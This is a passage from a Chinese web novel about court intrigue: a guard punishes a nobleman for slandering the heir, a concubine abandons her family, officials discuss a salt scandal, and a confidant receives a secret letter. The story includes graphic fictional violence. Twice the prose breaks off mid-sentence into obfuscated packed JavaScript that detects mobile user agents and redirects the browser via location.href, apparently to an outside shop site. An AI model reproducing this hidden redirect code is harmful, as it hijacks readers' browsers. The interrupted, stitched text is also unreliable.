这些散落的点,正在被一条看不见的线,隐隐串联起来。 她仿佛看见,一片更加幽深诡谲、杀机四伏的漩涡,正在这皇权更迭、朝堂动荡的时节,缓缓成形。而她自己,这身世成谜、女扮男装的世子,似乎正被无形的力量,一步步推向这漩涡的最中心。 秋风凛冽,吹动她黑色的斗篷,猎猎作响。她挺直了背脊,将那枚令牌和绢布深深藏入袖中,转身,朝着衙署深处、那盏为她亮着的灯火走去。 背影在月光与灯光的交界处,被拉得很长,孤绝而坚定。 无论前方是何种迷雾与险恶,她既已执刀,便唯有劈开一条血路,走下去。 这局棋,越来越有意思了。而她手中的筹码,除了这身武艺智谋,还有那绝不能为人所知的……秘密。 19. 第 19 章 时值暮春,京华夜色如浸了蜜的琥珀,浮着一层暖融融的脂光。醉仙楼三层临街的“揽月阁”内,灯火通明如昼,八扇朱漆雕花长窗尽数敞开,夜风卷着脂粉香,混着阁内酒肉腥膻,酿成一瓮瓮醉生梦死的浊醪。 卢弘义斜倚在紫檀嵌螺钿的贵妃榻上,一身湖蓝织金缎直裰,腰间系着羊脂玉带钩,脚蹬粉底皂靴——皆是新制的,料子光鲜得扎眼。他左手揽着个穿杏子红绡衫的姑娘,右手擎着只犀角杯,杯中琥珀色的琼浆晃晃荡荡,洒出几滴,正落在姑娘雪白的颈子上。那姑娘娇嗔一声,却不敢擦,只把身子更软地偎过去。 “卢爷今日气色真好,”座中一个瘦长脸的公子哥儿谄笑道,“到底是福大命大,那北镇抚司的诏狱,寻常人进去不死也得脱层皮,卢爷不过月余便全须全尾地出来了,可见卢家根基深厚。” 卢弘义从鼻子里哼出一声,将杯中酒一饮而尽,空杯往桌上重重一顿:“根基?我卢家的根基在盐引上!在漕运上!他萧道煜算个什么东西?一个靠着女人裙带爬上来的病秧子,也敢动我?”他眼中泛着醉后的血丝,声音越拔越高,“你们可知,那日我在诏狱里,他手下那些黑皮狗是怎么审我的?凉水浇头,铁链锁喉——呸!老子出来那日就发过誓,此仇不报,我卢弘义三个字倒着写!” 满座七八个锦衣公子,都是平日里与卢弘义厮混的纨绔,此刻纷纷附和: “卢兄说得是!那萧道煜行事也太跋扈!” “不过是个世子,真当自己是太子了?” “听闻他身子骨差得很,日日离不得药罐子,说不准哪天就……” 话未说完,便被一阵放肆的大笑打断。卢弘义推开怀中姑娘,摇摇晃晃站起来,走到窗前,指着远处黑沉沉一片宫阙轮廓:“你们瞧见没?那便是忠顺王府的方向。我告诉你们个笑话——”他转过身,脸上挂着一种混杂着恶毒与得意的神情,“那萧道煜,今年二十了罢?可曾娶妻?可曾纳妾?连个通房丫头都没有!你们说,这是为何?” 座中静了一瞬。一个穿葱绿绸衫的公子迟疑道:“许是……眼光高?” “眼光高?”卢弘义嗤笑,“我告诉你们,那是因为他根本就不是个男人!” 语惊四座。几个公子面面相觑,有人下意识去掩窗,却被卢弘义喝住:“掩什么?老子敢说,就不怕传出去!你们可知,他身边那些个侍卫,日日与他同宿同起,形影不离——两个大男人,这般亲密,你们说,是什么道理?” 烛火噼啪爆了个灯花,映得卢弘义那张因酒色而浮肿的脸愈发狰狞。他压低了声音故意顿了顿,却更添几分猥琐,满意地看到众人脸上或惊骇、或好奇、或暧昧的神色:“这是主仆?我看是夫妻还差不多!” 满堂哄笑。有人拍案叫绝:“卢兄这话妙!怪不得那萧道煜生得比女人还标致,原是有这癖好!” 卢弘义愈发得意,又灌下一杯酒,醉眼乜斜:“这还不算稀奇。你们可知倚红楼那个头牌盛晚湘?”他舔了舔嘴唇,“那可是个绝色,琴棋书画样样精通,多少王孙公子一掷千金只为见她一面——” 座中有人咂舌:“这萧道煜倒是艳福不浅,男女通吃?” “通吃?”卢弘义冷笑,“你们真当他是收了盛晚湘做妾?” 话越说越不堪。有个年纪稍轻的公子惴惴道:“卢兄,这些话……还是慎言……” “怕什么!”卢弘义一掌拍在桌上,杯盘震得叮当响,“一个兔儿爷,也配掌北镇抚司?也配对我们这些世家子弟吆五喝六?我今日就把话撂这儿——不出三月,我必要那萧道煜跪在我面前,舔我的靴子!” 醉仙楼二层西侧的“荷风轩”,与三层“揽月阁”只一板之隔。此刻阁内只点了一盏琉璃罩灯,光晕昏黄如旧绢。盛晚湘独坐窗边,一身月白素缎袄裙,外罩水绿比甲,乌发松松绾个慵妆髻,斜插一支白玉簪。她面前摊着一本《花间集》,却半晌未翻一页。 楼上的喧哗声、哄笑声、杯盏碰撞声,透过楼板缝隙,丝丝缕缕渗下来。那些污言秽语,一字一句,清晰如刀。 她端起手边早已凉透的雨前龙井,抿了一口,舌尖泛起清苦。窗外秦淮河上画舫如织,丝竹声顺着水波飘来,夹杂着歌女咿咿呀呀的唱词:“……良辰美景奈何天,赏心乐事谁家院……” 谁家院?盛晚湘唇角勾起一抹极淡的弧度,似笑非笑。 楼上又爆出一阵狂笑。卢弘义的声音拔得尖利:“……看着清高,骨子里还不是个婊子?攀了个不能人道的,守活寡呢!” 茶杯在掌心微微发颤。盛晚湘垂眸,看着杯中沉浮的茶叶。 玉兰早枯了,少年也成了镜花水月。如今她在风月场中周旋,他在清流圈里沉浮,偶尔擦肩,连对视都不敢。 楼上忽然传来砸碎瓷器的脆响,紧接着是卢弘义醉醺醺的吼叫:“张德全!你躲什么?过来给爷倒酒!” 一个畏畏缩缩的声音应道:“爷,您醉了,不如歇歇……” “放屁!”卢弘义似乎踹了人,闷响伴着哀嚎,“老子没醉!老子清醒得很!你去,现在就去把那娘们给我叫来!就说卢爷我要听曲儿,让她来唱十八摸!” 阁内死寂一瞬,随即响起劝解声:“卢兄,她到底是……” “萧道煜的人怎么了?”卢弘义啐了一口,“老子今日偏要动他的人了!去叫!她要敢不来,老子明日就带人砸了倚红楼!一个婊子,还摆起谱来了!” 盛晚湘缓缓合上《花间集》。指尖冰凉。她起身走到妆台前,铜镜中映出一张清丽绝俗的脸,眉眼如画,却罩着一层霜色。她抬手,将鬓边一朵将谢的茉莉取下,丢进香炉。青烟袅袅升起,带着残花最后的香气。 门外传来极轻的叩门声。丫鬟画眉的声音低低响起:“姑娘,卢家派人来了,在楼下候着,说……说请姑娘过去唱曲。” 盛晚湘对着镜子,慢慢勾起唇角。镜中人笑了,笑意却未达眼底。“告诉来人,”她的声音平静无波,“我今日身子不适,不见客。” 画眉迟疑:“姑娘,那卢弘义跋扈得很,只怕……” “只怕什么?”盛晚湘转身,目光落在虚空某处,“他跋扈,是因为觉得有人撑腰。可这京城的风向,从来变得比六月天还快。”她走到窗前,推开半扇,夜风灌进来,吹得灯焰摇曳,“你去吧,照实说。” 画眉应声退下。盛晚湘独立窗前,望着远处宫阙的轮廓。那里面,那个人——萧道煜,此刻在做什么?是在北镇抚司值房批阅卷宗,还是在王府暖阁里咳血?她知道,楼上那些污言秽语,此刻或许已传到那人耳中。 这吃人的世道里,谁不是“好自为之”?她攀附萧道煜,是为自保;萧道煜用她,是为权谋。各取所需,两不相欠。可偶尔——只是偶尔——当她看见他咳血时蹙紧的眉,看见他独自望月时孤寂的背影,心里会划过一丝极细微的疼。 无关情爱,只是物伤其类。 楼上又喧哗起来,似乎张德全回去复命后,卢弘义勃然大怒,摔了更多东西。骂声不堪入耳,夹杂着对萧道煜祖宗十八代的诅咒。盛晚湘闭上眼,指尖掐进掌心。 忽然,所有的丝竹声、嬉笑声,在同一刻静了下来。 醉仙楼前长街,原本车马粼粼、行人如织,此刻却如潮水般向两侧退开。黑甲骑士自夜色深处驰来,马蹄铁叩击青石板路,发出沉闷整齐的“嗒嗒”声,一声声,撞在人心尖上。 那些骑士全身覆着玄铁鳞甲,连面部都罩着狰狞的鬼面盔,只露出一双双冰冷无情的眼睛。腰间佩刀,刀鞘漆黑,在灯火下泛着幽暗的光。马是清一色的乌骓,高大健壮,鼻息喷出白雾,蹄声如雷。 为首一人,未戴头盔,暗金色短发在夜风中根根竖立,幽绿色双瞳在灯火下收缩如针。他身形极高大,骑在马上宛如一座铁塔,玄色大氅在身后猎猎飞舞,露出腰间一柄镶嵌红宝石的波斯弯刀。 萨林。 长街死寂。所有行人、商贩、乃至倚在窗边看热闹的妓女嫖客,都屏住了呼吸。醉仙楼三层的喧哗声,在这一刻显得格外刺耳。 萨林勒马,抬头,目光如实质的刀锋,割向“揽月阁”洞开的窗口。楼上,卢弘义正举杯狂笑:“……等老子哪天得势,非把萧道煜那病秧子剥光了,吊在午门外,让全京城的人都瞧瞧,他到底是男是女……” 话音未落。 萨林抬手,五指一握。 身后五十黑鳞卫齐刷刷下马,动作整齐划一,甲胄摩擦发出冰冷的金属声。他们分作两队,一队散开封锁长街两头,一队随萨林踏入醉仙楼。 楼内原本喧闹的大堂,瞬间鸦雀无声。掌柜连滚爬爬迎上来,还未开口,萨林目光扫过,他便瘫软在地,一个字也吐不出。 楼梯上传来慌乱的脚步声。几个纨绔连滚爬爬冲下来,见楼下阵仗,腿一软,跪倒在地。萨林看也未看他们,径直上楼。铁靴踏在木梯上,发出“咚、咚、咚”的闷响,每一声,都像踩在人心上。 “揽月阁”内,卢弘义酒醒了大半。他扒在窗边,看见楼下黑压压的甲士,脸色“唰”地白了。回头,见满座狐朋狗友早已缩到墙角,张德全更是抖如筛糠,下裆湿了一片。 “怕、怕什么……”卢弘义强作镇定,声音却发颤,“我、我卢家如今是皇上的人,他萧道煜敢动我?” 话音未落,门被一脚踹开。 萨林立在门口,身形几乎堵住整个门框。阁内烛火被他身影一遮,顿时暗了大半。他目光缓缓扫过屋内,在卢弘义脸上定格。 卢弘义被他看得浑身发毛,强笑道:“萨、萨侍卫长,什么风把您吹来了?可是世子爷有什么吩咐?” 萨林不语,迈步进屋。铁靴踏在满地狼藉的碎瓷片上,发出刺耳的嘎吱声。他走到桌前,伸手,拿起卢弘义刚才用过的犀角杯,看了一眼,五指一收。 咔嚓。 犀角杯在他掌中化为齑粉,簌簌落下。 满屋死寂,只闻粗重的呼吸声。 萨林松开手,粉末飘散。他抬眼,看向卢弘义,声音低沉平直,不带一丝情绪:“卢公子方才说,要剥了世子的衣服,吊在午门外?” 卢弘义冷汗涔涔而下:“那、那是醉话……” “醉话?”萨林重复,幽绿瞳孔在烛光下收缩成一线,“还说世子与萨林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996020|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同宿,是夫妻?” 卢弘义腿一软,跌坐在贵妃榻上,撞翻了小几,酒壶滚落,琼浆泼了一地,浸湿他崭新的湖蓝直裰。“我、我胡说的……萨侍卫长饶命……我喝多了,失心疯……” 萨林缓缓走近。每一步,都像踩在卢弘义心尖上。他俯身,那张冷峻如石刻的脸逼近卢弘义,声音压得极低,却字字如冰锥:“妄议宗亲该当何罪?” 卢弘义牙齿打颤:“知、知道……” “知道还敢说?”萨林直起身,目光扫向墙角缩成一团的众人,“方才,还有谁笑了?” 无人敢应。 萨林目光落在瘦长脸公子身上:“你,方才说‘卢兄这话妙’?” 瘦长脸“扑通”跪倒,连连磕头:“是小人胡吣!小人掌嘴!”说着真抽起自己耳光,啪啪作响。 萨林不再看他:“既管不住自己的嘴,便不必留了。” 萨林抬手,两名黑鳞卫上前,将瘦长脸架起。弯刀出鞘时,带起一道凄冷的寒光。刀身映着烛火,映出一张惨白扭曲的脸。 “大人饶命!饶命啊!”瘦长脸嘶声哭喊,“饶命——” 萨林面无表情,刀光一闪。 一道血线飙出。 哭喊戛然而止。他瞪大眼,口中涌出血沫,半截舌头落在地上,还在微微抽搐。两名黑鳞卫松开手,他软软倒地,捂嘴发出“嗬嗬”的怪声,血从指缝汩汩涌出。 满屋骇然。几个公子哥儿白眼一翻,晕死过去。卢弘义瘫在榻上,张着嘴,却发不出声音。 萨林收刀,刀尖一滴血珠滚落,在波斯地毯上洇开一小团暗红。他掏出一块白绢,缓缓擦拭刀身,动作细致如抚琴。 “卢公子既喜欢胡说,便去诏狱里说个够。” 卢弘义终于找回声音,凄厉叫道:“你不能抓我!我姐姐是卢贵妃!皇上——” 萨林一挥手,“带走。” 四名黑鳞卫上前,将瘫软的卢弘义架起。卢弘义挣扎哭喊,声音嘶哑:“放开我!我要见皇上!我要见姐姐!萧道煜!你个不男不女的怪物!你不得好死——” 萨林转身,一拳击在卢弘义腹部。 闷响。卢弘义弯成虾米,所有咒骂化为痛苦的干呕。 萨林揪住他头发,迫他抬头,幽绿瞳孔盯着他因痛苦而扭曲的脸,一字一句道:“再骂世子一个字,我割了你的舌头,剜了你的眼,一寸寸敲碎你的骨头。” 声音不高,却让整个醉仙楼三层,鸦雀无声。 卢弘义终于彻底崩溃,涕泪横流,再不敢出声。 萨林松开手,任黑鳞卫将人拖走。他环视屋内,目光所及,众人皆低头瑟缩。最后,他看向盛晚湘所在的“荷风轩”方向,停留一瞬,转身下楼。 铁靴声渐远。 长街上,黑鳞卫收队上马,押着瘫软如泥的卢弘义,消失在夜色深处。只留下满地马蹄印,和空气中尚未散尽的铁锈与血腥味。 醉仙楼内,死寂良久。忽然,“哇”的一声,有人吐了。掌柜瘫在地上,喃喃:“完了……醉仙楼完了……” 二楼“荷风轩”,盛晚湘立在窗边,望着黑鳞卫远去的方向,指尖依旧冰凉。方才那一幕,隔着楼板,她听得清清楚楚。 她缓缓吐出一口气,才发现自己一直屏着呼吸。 身后,画眉推门进来,脸色苍白:“姑娘,没事了……黑鳞卫走了。” 盛晚湘转身,走到妆台前坐下。铜镜中,她的脸依旧平静,只是眼底有一丝极淡的、连自己都未察觉的释然。 “去打盆热水来,”她轻声道,“我想净面。” 画眉应声退下。盛晚湘独对镜中人,良久,忽然轻笑一声。 这京城的风,果然变得快。只是不知,下一次变天时,又是谁哭,谁笑,谁血染阶前。 窗外,丝竹声再起,靡靡之音掩盖了方才的血腥与恐惧。醉仙楼很快又热闹起来,仿佛什么也没发生过。 夜更深了。忠顺王府西暖阁内,萧道煜裹着白狐裘,歪在榻上听伊凡念奏章。烛火昏黄,映着他苍白如纸的脸,一双琥珀金的眸子半阖,长睫在眼下投出浅淡的阴影。 萨林悄然入内,单膝跪地:“世子,事已办妥。” 萧道煜未睁眼,只轻轻“嗯”了一声。 伊凡停下诵读,看了萨林一眼,眼中闪过一丝复杂的情绪,旋即垂下眼帘。 暖阁内安静了片刻,只闻炭火噼啪。许久,萧道煜才轻声开口,声音虚弱如缕:“萨林。” “卑职在。” “下次……”他咳嗽起来,以帕掩口,帕上染了点点猩红,“直接……就地格杀。” 萨林抬头,幽绿瞳孔中映出榻上人病骨支离的身影。他喉结滚动,低声道:“是。” 萧道煜摆摆手,示意伊凡继续念。伊凡深吸一口气,重新捧起奏章,声音在空旷的暖阁内回响,字字清晰,却再难入耳。 窗外,一弯冷月高悬,清辉洒在王府重重屋瓦上,如覆寒霜。更夫敲着梆子走过长街,苍凉的调子拖得老长: “天干物燥——小心火烛——” 四更天了。 20. 第 20 章 却说卢弘义被黑鳞卫押入诏狱的次日,卢府已乱作一锅沸粥。府邸坐落在西城绒线胡同,五进的大宅子,朱门兽环,本是极气派的,如今却门户紧闭,连门口那两盏写着“卢”字的琉璃风灯都熄了,在晨雾里像个瞎了眼的老兽,颓然蹲着。 内宅正堂,卢夫人歪在紫檀木嵌大理石罗汉榻上,一身姜黄团花缎袄子皱得不成样子,头上金丝八宝攒珠髻也散了,几缕花白头发黏在汗湿的额角。她手里攥着一串伽楠香念珠,指节攥得发白,嘴里喃喃念佛,可念着念着,眼泪就扑簌簌滚下来,落在前襟上,洇开深色的痕。 “我的儿啊……”她忽地哭出声,声音嘶哑如裂帛,“我那苦命的儿啊……才出虎穴,又入狼窝……这、这是要我的老命啊!” 下首坐着卢弘义的妻子赵氏,是个面团似的妇人,此刻也哭得两眼红肿,拿帕子捂着嘴,只不敢放声。几个姨娘并丫鬟婆子跪了一地,有的陪哭,有的偷眼觑着主母脸色,堂内一片愁云惨雾。 “哭!就知道哭!”卢老爷背着手在堂内踱步,一身赭石色直裰也皱巴巴的,眼下一片青黑,显是一夜未眠。他猛地顿足,指着卢夫人骂道:“还不是你平日里纵的他!好好的盐引生意不做,偏要去招惹那阎王爷!如今可好,诏狱二进宫,我看这次连骨头都别想剩!” 卢夫人被他一喝,哭声倒是止了,却腾地站起来,尖声道:“我纵的他?你倒撇得干净!若不是你卢家要靠盐政吃饭,我儿何至于去扬州厮混?若不是你们爷俩在盐课里捞银子,何至于被那萧道煜盯上?如今出了事,倒全怪到我母子头上!” 卢老爷气得胡子乱颤:“你、你……” “我什么我!”卢夫人一抹眼泪,眼中闪过一丝狠色,“我儿不能就这么折了!我这就递牌子进宫,求贵妃娘娘!她是我的女儿,难道能眼睁睁看着嫡亲的表弟死在诏狱?” 卢大通冷笑:“递牌子?你当宫里是咱家后花园?贵妃娘娘如今自身难保!盐案一发,卢家上交沈济川的罪证,表面是立功,实则是把柄攥在皇上手里!娘娘在宫里,怕是连大气都不敢喘,还敢替弘义出头?” 卢夫人却不管这些,转身吩咐贴身嬷嬷:“去,开库房,把前儿得的那尊羊脂白玉送子观音,还有那匣子东珠,都装起来!我要进宫!” 嬷嬷迟疑:“夫人,这节骨眼上,宫里肯见么?” “见也得见,不见也得见!”卢夫人咬牙,“我就跪在宫门外,看他们让不让我这诰命夫人进去!” 宫中,凤仪宫。 这座贵妃寝宫素来以奢华著称,殿前汉白玉栏杆雕着百鸟朝凤,殿内铺着西域进贡的猩红毡毯,四壁悬着缂丝花鸟屏风,多宝格上陈列着官窑瓷器、西洋钟表、珊瑚盆景,琳琅满目,光耀夺目。可今日,这些金玉之物却透着一股子冷清,仿佛蒙了层看不见的灰。 卢贵妃斜倚在南窗下的贵妃榻上,一身藕荷色云纹宫装,外罩月白缂丝比甲,头上只簪一支点翠步摇并两朵新鲜茉莉,素净得反常。她手里捏着一封家书,是昨夜卢府悄悄递进来的,信上字迹潦草,满是哀恳求告之词。她看了一遍,又看一遍,指尖微微发颤。 宫女春莺端着一盏冰糖燕窝进来,见主子神色,轻声劝道:“娘娘,您好歹用些。这燕窝是皇上昨儿赏的,最是润肺……” “搁着罢。”卢贵妃摆摆手,声音有些哑,“外头……可有什么动静?” 春莺知道她问什么,低声道:“乾清宫那边,早朝才散。听说……听说今儿皇上在朝上发了大火,当殿申饬了好几位勋贵老臣,连承恩公府都吃了挂落。” 卢贵妃闭了闭眼。承恩公是太后的娘家,连他们都挨了训斥,可见皇上这次是要动真格的。盐案……盐案……这潭水太深,卢家被卷进去,本就是不得已。父亲为了保全家族,交出沈济川的罪证,看似弃车保帅,实则是把整个卢家绑上了皇上的战车。如今弘义又去招惹萧道煜,简直是往刀口上撞。 “娘娘,”春莺犹豫片刻,还是禀道,“宫门外……卢夫人递了牌子,想求见。” 卢贵妃猛地睁眼:“不见。” “可卢夫人说,若娘娘不见,她就跪在宫门外……” “那就让她跪!”卢贵妃声音陡然拔高,又急忙压下,胸口起伏,“你去传话,就说本宫犯了头风,卧病在床,谁都不见。再告诉她……”她顿了顿,眼中闪过一丝不忍,旋即被决绝取代,“告诉她,弘义的事,本宫无能为力。让卢家……好自为之。” 春莺不敢多言,躬身退下。 卢贵妃独自坐在榻上,窗外一树石榴花开得正艳,红得像火,灼灼刺目。她想起很多年前,她还是卢家小姐时,弘义还是个胖嘟嘟的娃娃,总跟在她身后“姐姐、姐姐”地叫。后来她入宫,得宠,封贵妃,卢家也跟着水涨船高。父亲、叔伯、兄弟,人人都借她的势,捞银子,揽权柄,她不是不知道,可她能说什么?卢家是她的根,根若烂了,她这朵宫花又能开几日? 可如今……卢贵妃攥紧手中信纸,指甲掐进掌心。皇上借着盐案,正要整顿勋贵,卢家这时候撞上去,简直是送死。她若出手相救,非但救不了弘义,还会把整个卢家、连同她自己,都拖进深渊。 “娘娘。”殿外传来太监尖细的嗓音,“皇上驾到——” 卢贵妃一惊,慌忙起身,将家书塞进袖中,整了整衣襟,迎至殿门。 永熙帝一身明黄常服,负手走进来,面色淡淡的,看不出喜怒。他身后只跟着两个贴身太监,连仪仗都免了。 “臣妾恭请皇上圣安。”卢贵妃盈盈下拜。 “起来罢。”永熙帝虚扶一把,目光在她脸上停留一瞬,“贵妃气色不大好。” “谢皇上关怀,许是昨夜没睡稳,犯了旧疾。”卢贵妃低眉顺眼,引皇帝入座,亲手奉上茶。 永熙帝接过茶盏,却不喝,只拨弄着盖碗,漫不经心道:“今儿早朝,朕发了顿脾气。有些人哪,太平日子过久了,忘了自个儿是谁了。” 卢贵妃心中一紧,强笑道:“皇上息怒,保重龙体要紧。” “龙体?”永熙帝轻笑一声,笑意未达眼底,“朕这龙体,怕是被有些人气得折寿。”他放下茶盏,“贵妃,你入宫几年了?” “回皇上,臣妾永熙元年入宫,至今……四年了。” “四年。”永熙帝点点头,“不长,也不短。可知道宫里什么最重要?” 卢贵妃指尖冰凉:“臣妾愚钝……” “是分寸。”永熙帝截断她的话,声音平静,却字字如针,“什么该做,什么不该做;什么该说,什么不该说;什么人该帮,什么人不该帮——都得有分寸。” 殿内静得能听见自己的心跳。卢贵妃缓缓跪倒:“臣妾……谨遵皇上教诲。” 永熙帝看着她伏低的脊背,良久,才道:“起来罢。你是个聪明人,朕相信你懂。”他起身,走到多宝格前,拿起一尊白玉送子观音——正是卢家前几日才进贡的,把玩着,“这观音雕得不错,慈眉善目的。可惜啊,世上有些人,拜了一辈子佛,却从不行善积德。” 他将观音放回原处,转身:“朕还有折子要批,你歇着罢。” “臣妾恭送皇上。” 直到皇帝的身影消失在宫门外,卢贵妃才瘫软在地,浑身冷汗涔涔。春莺急忙来扶,却见她袖中滑出一封皱巴巴的信,落在地上。 “娘娘……” 卢贵妃盯着那封信,忽然惨笑一声:“烧了罢。” “那卢夫人……” “告诉她,”卢月柔闭上眼,两行清泪滑落,“本宫……无能为力。” 乾清宫,早朝方散,余威犹在。 殿内金砖墁地,光可鉴人,蟠龙金柱高耸,撑起藻井上繁复的彩绘。御座空空,丹墀下却还跪着几个老臣,须发皆白,官袍皱乱,正是方才被申饬的勋贵。他们伏在地上,不敢起身,额角抵着冰冷的金砖,冷汗涔涔。 殿角铜漏滴答,一声声,敲在人心上。 良久,御座旁的太监才尖声道:“几位老大人,请起罢。皇上说了,今日之言,望诸位牢记于心,好自为之。” 几位老臣颤巍巍爬起来,相互搀扶着,踉跄出殿。殿外日光刺目,他们却觉浑身发冷,仿佛刚从鬼门关走了一遭。 一位紫袍老臣低声道,“皇上这次……是动真格的了。” 承恩公此刻面色灰败,擦了擦额上冷汗:“盐案……盐案不过是引子。皇上是要借题发挥,收拢权柄啊。” “可卢家……”另一人欲言又止。 “卢家?”承恩公冷笑,“自作孽,不可活。卢弘义那蠢货,去招惹萧道煜,不是找死是什么?皇上正愁没由头立威,他倒送上门了。” 几人沉默。他们都是世代勋贵,与盐政或多或少有牵连,如今皇上彻查盐案,虽未动他们根本,却已是敲山震虎。今日朝堂上那一番疾言厉色,与其说是训斥,不如说是警告。 “扬州盐务,”承恩公忽道,“听说要换人了?” “是。皇上已下旨,派户部侍郎顾铮言兼理盐政,另调都察院御史三人、户部郎中五人,组成盐课巡察使团,即日南下。” “顾铮言?”有人皱眉,“那可是个铁面阎王,当年在江南清丈田亩,硬是逼得多少世家吐出吞并的土地。他去了扬州,只怕……” “只怕什么?”承恩公打断,“皇上要的,就是他去刮一层皮。盐政这块肥肉,多少人盯着?如今沈济川倒了,空出的位置,总得有人填上。表面上整肃,实则是重新分肉——你我心里明白就好。” 众人会意,各自叹息。这朝堂风云,从来都是你方唱罢我登场。沈济川是太上皇的人,他倒了,皇上正好安插自己人。至于那些被“整肃”掉的,不过是棋子罢了。 “走吧,”承恩公整了整衣冠,“回去闭门思过。这段日子,都安分些。” 几位老臣互相拱手,各自散去。殿前广场空旷,汉白玉栏杆在日光下泛着冷白的光,远处宫阙重重,飞檐斗拱,沉默地俯视着这人间权欲场。 扬州,原盐运使衙门。 此处本是沈济川的官邸,五进大院,亭台楼阁,奢华不下王侯。如今沈济川被押解进京,衙门查封,只留几个老仆看守,显得格外冷清。 后花园藕香榭内,却聚着几个人。 当中坐着的是新任盐课巡察使顾铮言,年约四旬,面容清癯,三绺长须,一身半旧靛蓝直裰,浑身上下无一点装饰,只腰间挂着一枚铜印。他正低头翻看一叠账簿,眉头紧锁。 下首坐着三位御史、五位郎中,都是此次巡察使团的成员。人人面色凝重,茶放在手边,谁也没心思喝。 “顾大人,”一位姓李的御史忍不住开口,“这些账册……简直是触目惊心。沈济川在扬州十年,盐课亏空竟达三百余万两!这还不算他私下贩卖盐引、勾结漕帮、勒索盐商的银子。” 顾铮言放下账册,揉了揉眉心:“三百余万两……抵得上国库一年岁入的三成了。”他苦笑,“更可笑的是,这些账做得天衣无缝,若不是北镇抚司抄出那本暗账,谁能看出端倪?” “北镇抚司……”另一位张郎中压低声音,“顾大人,下官听闻,忠顺世子在扬州时,曾与沈济川当面交锋,甚至直指黑水渡私盐案。那本暗账,也是他手下人盗出来的。此人……手段了得啊。” 提到萧道煜,榭内气氛微妙起来。在座都是文官清流,对北镇抚司这等酷烈衙门,本能地不喜。可这次盐案,若非萧道煜雷厉风行,一举拿下沈济川,他们这些“钦差”恐怕连扬州城都进不来。 “手段了得,也心狠手辣。”李御史冷哼,“卢弘义不过说了几句醉话,就被他割舌下狱。这等行径,与阉党何异?” 顾铮言摆摆手:“李大人,慎言。萧世子是奉皇命办案,雷霆手段,也是不得已。”他顿了顿,意味深长道,“况且,若非他这般狠辣,你我今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白日里卢弘义被下狱的消息,他已知道。萨林那干脆利落的手段,与其说是惩戒,不如说是示威——向所有敢非议萧道煜的人示威。他想起那日在醉仙楼外,萨林看他的眼神,冰冷,审视,带着毫不掩饰的敌意。 萨林不信他。伊凡很清楚。那个异族侍卫长,眼里只有萧道煜一人,其余所有人,都是潜在的威胁。尤其是他——这个知晓世子最大秘密的“青梅竹马”。 可萧道煜呢?伊凡指尖无意识地摩挲着案角。世子对他,是信,还是疑?用他,是看重他的能力,还是……只是利用? 值房外传来更夫敲梆子的声音,悠悠长长:“天干物燥——小心火烛——” 伊凡收回思绪,正要起身添茶,忽听窗棂极轻地“嗒”一声。 他动作一顿,耳廓微动。北镇抚司值房戒备森严,寻常人绝不可能潜入。他不动声色,左手已按上腰间软剑剑柄,右手缓缓推开窗。 窗外夜色浓稠,庭中一株老槐树影婆娑。并无人影。 伊凡目光下移,落在窗台上——那里多了一物。 一支竹管,小指粗细,两头封蜡。 他拿起竹管,入手微沉。回到案前,剔开蜡封,倒出一卷极薄的绢纸。展开,纸上只有寥寥数字,墨迹潦草,却如惊雷炸响在心头: “木将倾,巢将覆,良禽择木而栖。” 没有落款,没有印记。可伊凡认得这字迹——或者说,认得这笔锋里那股子阴鸷决绝的劲儿。 是他。 伊凡盯着那十二个字,指尖冰凉。木将倾,巢将覆……这是在说忠顺王府?还是在说整个大雍?良禽择木而栖……是劝他另投明主? 他缓缓将绢纸凑近灯焰。火舌舔上边缘,迅速蔓延,化为灰烬,簌簌落下。 值房内重归寂静,只余灯焰跳动。伊凡独坐阴影中,面容半明半暗。良久,他低低笑了一声,笑声在空旷的值房里回荡,带着说不出的讥诮。 择木而栖?他早已择了。从他七岁那年,被母亲牵着手走进忠顺王府,第一次见到那个粉雕玉琢的“世子”起,他就择了。从此他的命,他的野心,他的痴妄,都系在那人身上。哪怕那人永远是镜中月、水中花,看得见,摸不着。 窗外的风大了些,吹得窗纸扑簌作响。伊凡起身,走到窗边,望向忠顺王府的方向。夜色中,那片府邸的轮廓沉默而庞大,像一头蛰伏的巨兽。 世子此刻……在做什么?是在暖阁里咳血,还是在灯下批阅奏章?萨林定然守在一旁,像条忠犬,寸步不离。 伊凡闭上眼,脑海中浮现许多年前的一幕。那时他们都还小,世子染了风寒,高烧不退,他偷偷溜进卧房,跪在榻前,握着世子滚烫的手,低声说:“殿下,您要快点好起来……伊凡在这儿陪着您。” 榻上的孩童迷迷糊糊睁开眼,琥珀金的眸子蒙着水汽,看了他许久,忽然轻声说:“伊凡,你的手……好暖。” 那一瞬间,他以为自己是特别的。 可后来呢?后来世子身边有了萨林,有了斐兰度,有了盛晚湘……他依旧是心腹,却再也不是唯一。 伊凡睁开眼,眼底一片冷寂。他转身回到案前,提笔,铺纸,开始批阅今日未了的案卷。笔尖划过宣纸,沙沙作响,每一个字都工整端正,无可挑剔。 值房外,走廊尽头阴影里,萨林背靠墙壁,抱臂而立。幽绿双眼在黑暗中微微收缩,盯着值房窗纸上映出的那个清瘦身影。 方才那支竹管,他看见了。那封密信,他也猜到了七八分。 伊凡……你究竟会选哪条路? 萨林无声地握紧刀柄。若你敢背叛世子……我必亲手剜出你的心。 夜更深了。北镇抚司衙门像一头沉睡的猛兽,匍匐在京城夜色里。而暗流,已在看不见的地方,悄悄涌动。 远处宫阙,钟楼传来沉闷的报时声。 咚——咚——咚—— 三更天了。 21. 第 21 章 西苑,太液池畔。 